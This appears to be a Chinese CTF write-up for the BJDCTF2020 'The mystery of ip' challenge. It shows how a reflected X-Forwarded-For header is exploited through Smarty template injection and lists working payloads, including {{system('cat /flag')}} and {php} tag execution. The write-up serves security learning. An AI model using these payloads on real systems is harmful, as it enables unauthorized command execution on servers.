[BJDCTF2020]The mystery of ip
文章目录
- [BJDCTF2020]The mystery of ip
- 掌握知识
- 解题思路
- 关键paylaod
- smarty可利用paylaod
掌握知识
ssti
里的php
语言smarty
模板注入
解题思路
- 访问题目链接,发现导航条的
flag
和hint
两个吸引人的题目,先查看flag
发现输出了我的IP
地址,再去hint
查看,发现页面没东西,查看源代码发现一串英文,你觉得我为什么知道你的IP?怀疑是读取请求包中的XFF
头
- 直接抓
flag
界面的数据包,修改xff
请求头IP
地址,发现成功返回修改的内容。难道是请求头的SQL
注入,但前面有遇到过XFF的ssti
模板注入,先尝试一下模板注入,输入paylaod:{{7*7}}
,发现得到了49
,验证了ssti
模板注入
- 尝试使用常见的类作为
payload
查看返回内容,发现都出现了错误
- 查看了一下
wapp
发现页面是php
代码写的,前面用的类是应用在python
代码下的,没关注一开始。经过验证a{*comment*}b
发现是smarty
模板注入
php
和python
的模板注入差别还是蛮大的,直接尝试是否可以命令执行,发现成功返回结果system('ls')
,直接cat
命令读取flag.php
,拿下
关键paylaod
{{7*7}}
a{*comment*}b
{{system('ls')}}
{{system('cat /flag')}}
smarty可利用paylaod
{{system("ls")}}
{php}phpinfo();{/php} php标签
{if phpinfo()}{/if} if 标签